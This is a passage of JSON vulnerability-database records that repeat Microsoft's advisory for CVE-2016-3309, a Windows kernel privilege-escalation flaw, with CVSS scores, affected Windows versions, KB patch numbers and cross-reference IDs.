"LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-08T14:45:19", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA10856"]}], "modified": "2021-09-08T14:45:19", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-08T14:45:19", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3168965", "KB3172985", "KB3177725", "KB3176493", "KB3176492", "KB3176495", "KB3163912"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-08T14:45:19", "differentElements": ["msAffectedSoftware"], "edition": 21}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "1609f8313c888e04d583d7cc2ea642df", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-08T16:54:44", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA10856"]}], "modified": "2021-09-08T16:54:44", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-08T16:54:44", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3168965", "KB3163912", "KB3172985", "KB3177725", "KB3176495", "KB3176493", "KB3176492"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-08T16:54:44", "differentElements": ["msAffectedSoftware"], "edition": 22}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "13fc00f58404e6f4ff1e00cbd088e3aa", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-09T05:02:03", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA11908", "KLA10856"]}], "modified": "2021-09-08T16:54:44", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-08T16:54:44", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3168965", "KB3176495", "KB3176493", "KB3177725", "KB3172985", "KB3176492", "KB3163912"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-09T05:02:03", "differentElements": ["msAffectedSoftware"], "edition": 23}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "1609f8313c888e04d583d7cc2ea642df", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-09T06:50:26", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-09T06:50:26", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-09T06:50:26", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3168965", "KB3163912", "KB3177725", "KB3176493", "KB3176492", "KB3176495", "KB3172985"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for 